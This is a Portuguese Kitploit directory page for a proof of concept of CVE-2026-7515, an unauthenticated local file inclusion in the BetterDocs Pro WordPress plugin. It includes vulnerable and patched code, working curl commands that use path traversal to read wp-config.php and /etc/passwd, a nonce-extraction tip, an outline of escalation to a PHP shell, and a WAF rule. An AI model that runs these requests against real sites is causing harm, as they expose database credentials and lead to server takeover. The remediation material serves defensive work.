Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — Inclusão de Arquivo Local Não Autenticada | Kitploit
Ferramentas/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

Inclusão de Arquivo Local Não Autenticada

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
1há 2 mesesAinda não revisado

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - Inclusão Local de Arquivo Não Autenticada

Visão Geral

CampoValor
CVE IDCVE-2026-7515
CVSS Score9.8 (Crítico)
CVSS VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AfetadoBetterDocs Pro <= 3.8.0
Corrigido3.8.1
PesquisadorNguyen Ngoc Duc (duc193)
Publicado18 de Junho de 2026
CWECWE-98: Controle Impróprio do Nome de Arquivo para Instrução Include/Require

Descrição da Vulnerabilidade

O plugin BetterDocs Pro para WordPress é vulnerável à Inclusão Local de Arquivo nas versões até, e incluindo, 3.8.0 através do parâmetro doc_style. Isso permite que atacantes não autenticados incluam e executem arquivos PHP arbitrários no servidor.

Análise de Taint: Fonte → Sumidouro

Fonte (Entrada do Usuário)

Arquivo: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Linha: 141

root@kitploit:~
// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Problema: A entrada controlada pelo usuário de $_POST['doc_style'] é usada diretamente sem nenhuma validação.

Sumidouro (Função Perigosa)

Arquivo: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Linha: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Problema: A variável $doc_style (controlada pelo usuário) é interpolada diretamente no caminho do arquivo passado para views->get(), que inclui o arquivo.

Fluxo de Dados

root@kitploit:~
Requisição HTTP POST
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
SEM VALIDAÇÃO (versão vulnerável 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
Inclusão de Arquivo via include() ou require()
        ↓
Execução de Código PHP Arbitrário / Leitura de Arquivo

Diff: Vulnerável vs Corrigido

Versão Vulnerável 3.8.0

root@kitploit:~
// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Versão Corrigida 3.8.1

root@kitploit:~
// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Principais Diferenças

Endpoints AJAX Afetados

Ambos os endpoints se registram com hooks nopriv, o que significa que são acessíveis a usuários não autenticados:

root@kitploit:~
// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Endpoints:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

Prova de Conceito

Pré-requisitos

  • Um encyclopedia_nonce válido (encontrado no código fonte da página em páginas com o bloco BetterDocs Encyclopedia)

Exploração Manual

root@kitploit:~
# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Encontrando o Nonce

O encyclopedia_nonce está exposto em JavaScript em páginas onde o bloco BetterDocs Encyclopedia é renderizado:

root@kitploit:~
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- This is what you need
};

Caminho de LFI para RCE

  1. Ler wp-config.php - Extrair credenciais do banco de dados
  2. Fazer upload de shell PHP - Via upload de mídia do WordPress ou editor de temas
  3. Incluir arquivo malicioso - Via vulnerabilidade LFI
  4. Executar código - Obter execução remota de código

Impacto

Remediação

Correção Principal

Atualize para a versão 3.8.1 ou posterior do BetterDocs Pro

Correção Manual (se a atualização não for possível)

Aplique o seguinte patch em includes/Core/Encyclopedia.php:

root@kitploit:~
// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Aplique a mesma correção na linha 236.

Regras de WAF (Mitigação Temporária)

Adicione regra para bloquear path traversal no parâmetro doc_style:

root@kitploit:~
# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"

Referências

  • Wordfence Intelligence
  • BetterDocs Official
  • CVE Details
  • WPVDB

Arquivos Analisados

root@kitploit:~
Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version:   betterdocs-pro_3.9.0.zip

Key Files:
- includes/Core/Encyclopedia.php    (VULNERABLE)
- includes/Core/Scripts.php         (Contains nonce generation)
- includes/Utils/Views.php          (File inclusion logic)
Baixar ferramenta
AspectoVulnerável (3.8.0)Corrigido (3.8.1)
ValidaçãoNenhumaLista branca com in_array()
Valores PermitidosQualquer stringApenas doc-grid, doc-list, doc-list-2
Verificação de TipoNãoComparação estrita (===)
Tipo de ImpactoGravidadeDescrição
ConfidencialidadeALTOLer arquivos arbitrários (wp-config.php, /etc/passwd, etc.)
IntegridadeALTOModificar ou excluir arquivos
DisponibilidadeALTONegação de serviço
Vetor de AcessoRedeExplorável remotamente
PrivilégiosNenhumNenhuma autenticação necessária
Interação do UsuárioNenhumNão necessária